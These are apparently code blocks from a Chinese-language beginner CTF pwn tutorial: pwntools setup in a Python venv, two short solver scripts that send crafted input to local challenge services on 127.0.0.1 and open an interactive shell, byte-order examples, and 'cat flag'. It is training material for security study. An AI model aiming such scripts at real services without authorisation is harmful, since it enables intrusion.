1
# 如果没有安装对应的软件包
2
sudo apt update
3
sudo apt install python3-full python3-venv
4

5
# 创建一个用于pwn的虚拟环境
6
python3 -m venv ~/pwn-venv
7

8
# 激活虚拟环境
9
source ~/PATH/.../pwn-venv/bin/activate
10
. ~/PATH/.../pwn-venv/bin/activate        # 另一种写法
11

12
# 看到命令行将会存在(pwn-venv)，表示已经在虚拟环境中
13

14
# 安装pwntools
15

16
pip install pwntools

1
from pwn import *                                    # 导入 pwntools。
2
context(arch='amd64', os='linux', log_level='debug') # 一些基本的配置。
3
context.log_level = 'debug'
4
# 有时我们需要在本地调试运行程序，需要配置 context.terminal。详见入门指北。
5

6
# io = process('./pwn')             # 在本地运行程序。
7
# gdb.attach(io)                    # 启动 GDB
8
io = connect("127.0.0.1", 42065)    # 与在线环境交互, 这里连接的是对应靶机地址和端口
9
io.sendline(b'114511')
10
payload  = p32(0xdeadbeef)          # 4字节小端序
11

12
payload += b'shuijiangui'           # strcmp
13
io.sendafter(b'password.', payload) # 发送！通过所有的检查。
14
io.interactive()                    # 手动接收 flag。

1
# 数字: 12345678
2
# 小端序: 78 56 34 12 （从个位开始）

1
# 数字: 12345678
2
# 大端序: 12 34 56 78 （从高位开始）

1
#!/usr/bin/env python3
2
from pwn import * # type: ignore
3

4
context(os='linux', arch='amd64', log_level='debug')
5

6
# 替换为实际的远程地址和端口
7
p = remote('127.0.0.1', 34887)  # 例如：remote('127.0.0.1', 9999)
8

9
def itob(x):
10
    return str(x).encode()
11

12
p.recvuntil('hint.')       # 持续接受数据直到接收到字符串hint.
13
code = p.recv(8)           # 接受关键数据 精确接受八个字节的数据
14
ans = u64(code)            # 小端序转换
15
log.debug("Received value: {}".format(ans)) # 在调试模式下打印接收到的整数值
16
p.sendline(itob(ans))        # 将发送数据并在末尾添加换行符\n
17

18
p.interactive()              # 获得shell 权限

1
cat flag